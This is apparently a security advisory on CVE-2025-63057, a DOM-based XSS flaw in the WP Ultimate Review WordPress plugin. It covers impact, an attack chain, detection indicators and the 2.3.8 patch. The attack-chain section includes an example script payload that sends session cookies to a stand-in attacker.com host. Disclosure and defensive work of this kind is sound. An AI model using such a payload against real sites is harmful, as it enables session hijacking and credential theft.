CVE-2025-63057: 
WordPress vulnerability analysis and mitigation

CVE-2025-63057 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Roxnor WP Ultimate Review WordPress plugin, classified under CWE-79. It affects all versions of the plugin up to and including 2.3.7, with version 2.3.8 being the patched release. The vulnerability was reported on November 7, 2025, and publicly disclosed on December 7–9, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is rooted in improper neutralization of user-supplied input during web page generation (CWE-79), specifically manifesting as DOM-Based XSS. In DOM-Based XSS, malicious scripts are injected and executed entirely within the browser's Document Object Model without requiring a server-side reflection, making it harder to detect via traditional server-side filtering. Exploitation requires the attacker to have at least Contributor-level privileges on the WordPress site and also requires a higher-privileged user (e.g., an administrator) to interact with a crafted page or link. The attack vector is network-based with low complexity (Patchstack).

Successful exploitation could allow an attacker to inject and execute malicious JavaScript in the browsers of site visitors or administrators, enabling session cookie theft, session hijacking, unauthorized actions performed on behalf of victims, redirection to malicious websites, and capture of sensitive user input or credentials. The scope is changed, meaning the impact can extend beyond the plugin itself to affect the broader WordPress site and its users. Given the Contributor-level privilege requirement, the risk is somewhat contained but still significant in multi-author WordPress environments (Patchstack).

There is no public proof-of-concept exploit available, and no evidence of active in-the-wild exploitation has been observed as of the time of disclosure. The EPSS score is approximately 0.038%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates this as low priority, noting it is unlikely to be exploited despite the potential for use in mass-exploit campaigns targeting WordPress plugins (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WP Ultimate Review plugin at version 2.3.7 or earlier, using tools like WPScan or by inspecting plugin directories.
2. Obtain Contributor access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
3. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to execute in the victim's browser via the plugin's vulnerable input handling.
4. Inject payload: Submit the malicious payload through a plugin-rendered input field (e.g., a review submission form) that is processed client-side without proper sanitization.
5. Social engineering: Trick a higher-privileged user (e.g., administrator) into visiting the page containing the injected payload, triggering script execution in their browser.
6. Achieve objective: Collect stolen session cookies or credentials, hijack the admin session, or perform unauthorized actions on the WordPress site (Patchstack).

• Logs: WordPress access logs showing unusual POST requests to review submission endpoints from low-privileged user accounts; repeated requests from the same IP targeting review-related plugin pages.
• Network: Outbound connections from site visitors' browsers to unknown external domains shortly after visiting pages with WP Ultimate Review content; unexpected redirects logged in browser developer tools.
• File System: Unexpected modifications to plugin files in wp-content/plugins/wp-ultimate-review/; presence of obfuscated JavaScript in plugin templates or database entries.
• Database: Review entries in the WordPress database (wp_posts or custom plugin tables) containing encoded JavaScript (<script>, javascript:, onerror=, etc.) in review content fields.

The vendor has released version 2.3.8 of the WP Ultimate Review plugin, which patches this vulnerability. Site administrators should update the plugin to version 2.3.8 or later immediately. As additional hardening measures, implement a strong Content Security Policy (CSP), validate and sanitize all user inputs, and restrict Contributor-level registrations if not needed. Patchstack users can enable auto-update for vulnerable plugins to automate remediation (Patchstack).

Sucuri included this vulnerability in their December 2025 vulnerability patch roundup, highlighting it as part of broader WordPress plugin security advisories for the month. No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability database aggregation (Sucuri Blog).